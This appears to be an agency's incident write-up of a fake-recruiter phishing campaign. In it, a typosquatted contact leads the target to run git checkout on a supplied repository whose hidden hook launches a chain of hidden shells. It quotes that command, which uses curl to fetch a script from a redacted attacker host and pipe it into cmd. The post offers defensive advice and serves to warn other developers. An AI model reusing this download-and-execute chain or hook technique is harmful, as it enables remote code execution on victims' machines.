Most security write-ups about phishing focus on suspicious emails from strangers. This one is different — because the attack didn't start with a suspicious email. It started with a completely ordinary lead through our own website's contact form, and it stayed convincing for five full days before it tried to run code on our machine.

We're publishing the full technical breakdown because the delivery mechanism here — using git checkout itself as the payload trigger — is not something most developers are trained to be suspicious of, and we think that's a gap worth closing.

Day 1: The inquiry looked completely ordinary

A message came in through our contact form. A named individual, a "Senior Business Development Recruiter" at a real, established, publicly verifiable SaaS company — genuine website, real founders, real product, real customers, a security/trust page with third-party compliance badges. The pitch: a new AI-powered KYC/compliance platform involving identity verification, document processing, and blockchain-backed audit trails.

We did the normal diligence. Checked the company's public site. Checked the founder names. Everything lined up. We replied with genuine interest and asked for the detailed requirements.

What we didn't check closely enough at this stage: the sender's email domain. It was a single missing character away from the real company's domain — a textbook typosquat. Every email in this entire exchange, from this very first reply onward, came from that lookalike domain. There was no "real" contact at any point who was later impersonated — the relationship was fabricated from message one, built on a real company's public identity.

Days 1–4: A slow, patient, legitimate-feeling courtship

Over the following days, the exchange looked exactly like a normal enterprise sales process:

• A detailed project requirements package, delivered via Dropbox, "structured like a Git repository" with a master branch (overview, requirements, UI docs) and a separate branch gated behind an NDA
• A mutual NDA with standard, reasonable clauses — nothing overreaching, nothing that would raise suspicion on its own
• Specific, credible business detail: a 14–16 week timeline, a six-figure compensation range, and a note that the platform would integrate with "government-related databases" — a detail specifically well-chosen to raise the perceived stakes and justify strict process ("we cannot proceed to a call until the NDA is signed")

We reviewed the NDA carefully, filled it in, signed, and sent it back — a completely reasonable business step at this point, since nothing yet had asked us to execute anything.

Day 5: The pivot

We received a reply: the signed NDA was "the previous version," and we needed to download an "updated" one. Along with the file, the sender included a short screen-recorded video walking through exactly how to open a terminal in the downloaded folder and run git checkout to reach the branch containing the NDA.

This is the moment worth dwelling on. Nothing about "here's a quick video showing you where the document is" reads as inherently dangerous — it reads like someone being helpful. But no legitimate business document exchange has ever required a vendor to open a terminal and run version-control commands to retrieve a Word file. That instruction existed for exactly one purpose: to get a target to execute a specific command, on camera-guided rails, without hesitating.

What git checkout actually did

The downloaded archive was a real git repository, complete with a .git directory, branches, and commit history — well-constructed enough to survive a casual look. Running:

git checkout sign

completed successfully and silently triggered a git hook (almost certainly post-checkout, a script git automatically executes after a branch switch). The hook spawned a hidden process chain:

cmd.exe /c start powershell.exe -WindowStyle Hidden -Command
  Start-Process cmd -ArgumentList '/c curl.exe -s https://<attacker-controlled-subdomain>.vercel.app/api/w | cmd'
  -WindowStyle Hidden

Translated: silently launch PowerShell, silently launch another hidden shell inside it, use curl to fetch a remote script from a disposable free-hosting subdomain, and pipe the response directly into cmd for immediate execution — a classic download-and-execute pattern, chosen specifically because it requires no file to be opened, no macro to be enabled, and leaves nothing obviously suspicious sitting on disk beforehand.

No file needed to be double-clicked. The branch switch itself was the attack.

Windows Defender's behavioral/ML detection engine caught and blocked the command chain before the second-stage payload could execute (detection category: command-history heuristic, generic ML classification). Status: removed. A .docx file also appeared in the same folder post-checkout — a plausible secondary lure, likely intended as a fallback delivery method (e.g., a malicious macro) had the first stage failed to draw further engagement.

Why this worked as well as it did

1. Trust was built gradually, over days, using a real company's public identity — not a cold, obviously-fake message.
2. The malicious domain differed from the legitimate one by a single character. Easy to skim past when your attention is on content, not the sender address.
3. The payload lived in a git hook, not a visible file. Developers are trained to be wary of .exe attachments and macro-enabled documents. Almost nobody is trained to inspect .git/hooks/ before running git checkout on an unfamiliar repo.
4. A video walkthrough removed hesitation. Being shown exactly which commands to type, framed as "helpful," short-circuits the moment a cautious person might otherwise pause and think.
5. Urgency and stakes were manufactured deliberately — a large compensation figure and mention of government-database integration both raise the psychological cost of not moving quickly through the NDA-signing "gate."

What saved us

• A moment of suspicion at the "updated NDA" pivot — specifically, checking the sender's domain character by character instead of trusting that the thread was already vetted.
• Antivirus software that catches behavior, not just known file signatures — this was a fileless, command-driven payload, and a signature-only scanner might have missed it entirely.
• Not opening the secondary .docx lure sitting in the same compromised folder, once the folder itself was known to be hostile.
• Verifying independently through the real company's official support channel, rather than continuing to trust the compromised thread.
• Treating "the antivirus blocked it" as the start of incident response, not the end of it — full system scan, shell history review, persistence checks (Task Scheduler, registry Run keys, startup folder), and credential rotation as a precaution.

For other agencies and freelancers taking inbound leads

If your business takes inquiries through a public contact form — and most of ours do — you are a valid target for exactly this kind of attack, precisely because you're primed to be responsive, accommodating, and eager to move fast on a promising lead. A few concrete habits that would catch this earlier than we did:

• Verify sender domains character-by-character on every message, especially any message that asks you to re-do something you already completed ("previous version," "please resend," "download again").
• Be suspicious of any business document delivered as a compressed archive with a .git structure, or any process that requires terminal commands to retrieve a Word or PDF file. There is no legitimate reason for this.
• Before running git checkout, git clone, npm install, or any command against an untrusted repository, inspect it first — specifically check .git/hooks/ for anything beyond the default .sample files.
• A video walkthrough guiding you through specific commands is not automatically trustworthy just because it's polite and detailed. Treat it with the same scrutiny as the commands themselves.
• Isolate first, investigate second, the moment anything feels inconsistent — don't wait for certainty before disconnecting a machine from the network.

We came out of this without compromise. The margin was thinner than we'd like to admit — a single blocked command chain stood between a routine Tuesday and a real incident. Sharing the technical detail here in case it closes that same gap for someone else before their antivirus has to.

How this shapes how we work

Incidents like this are why we treat basic security hygiene as part of every engagement, not an afterthought — vetting third-party access requests, reviewing anything that touches a client's codebase or credentials, and keeping incident response practices ready before they're needed. If you're evaluating a dev partner, this is the kind of diligence worth asking about.

---

If you've encountered a similar technique — especially git-hook-based delivery — we'd like to hear about it. It's a pattern worth more people watching for.